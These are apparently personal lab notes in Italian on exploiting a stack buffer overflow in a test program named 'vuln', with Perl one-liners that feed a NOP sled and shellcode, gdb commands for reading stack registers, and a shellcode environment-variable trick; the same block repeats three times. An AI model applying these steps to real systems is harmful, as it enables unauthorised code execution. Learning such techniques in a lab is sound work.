0xbfec73e8 indirizzo esp di exploit execl sostituisce processo in memoria con processo chiamato (quindi esp e ebp restano tali) main quando ritorna il controllo alla shell ha un return point. e' li che eseguiamo la shellcode!! alcuni input con apici corretti!!! `perl -e 'print "uname";'` una`perl -e 'print "m";'`e nota: per accento grave usare alt-gr-apice dare input a vuln l'esecuzione del comando perl ./vuln `perl -e 'print "\x90"x200;'` \x90 e' il codice nop input a vuln di 200 nop + shellcode: ./vuln `perl -e 'print "\x90"x202;';cat shellcode` 0xbfec73e8 indirizzo esp di exploit execl sostituisce processo in memoria con processo chiamato (quindi esp e ebp restano tali) main quando ritorna il controllo alla shell ha un return point. e' li che eseguiamo la shellcode!! alcuni input con apici corretti!!! `perl -e 'print "uname";'` una`perl -e 'print "m";'`e nota: per accento grave usare alt-gr-apice dare input a vuln l'esecuzione del comando perl ./vuln `perl -e 'print "\x90"x200;'` \x90 e' il codice nop input a vuln di 200 nop + shellcode: ./vuln `perl -e 'print "\x90"x202;';cat shellcode` usando gdb vuln x/20s $esp possibile valore di esp per vuln 0xbf932e00 x/20s $ebp possibile valore per ebp 0xbf933008 secondo exploit.c 0xbfd85698 -------------- con environment shellcode at 0xbf9ffb79 SHELLCODE is located at 0xbfcfbb9e aggiungo 950 all'offset!! perche?? execl esegue processo chiamato, e il chiamante eredita parte testo, bss, stack del chiamato inoltre execl (execve) non ritorna!! quindi riscrivo return del main di exploit :-) alcuni input con apici corretti!!! `perl -e 'print "uname";'` una`perl -e 'print "m";'`e nota: per accento grave usare alt-gr-apice dare input a vuln l'esecuzione del comando perl ./vuln `perl -e 'print "\x90"x200;'` \x90 e' il codice nop input a vuln di 200 nop + shellcode: ./vuln `perl -e 'print "\x90"x202;';cat shellcode` usando gdb vuln x/20s $esp possibile valore di esp per vuln 0xbf932e00 x/20s $ebp possibile valore per ebp 0xbf933008 secondo exploit.c 0xbfd85698 -------------- export SHELLCODE=`perl -e 'print "\x90"x100;';cat shellcode`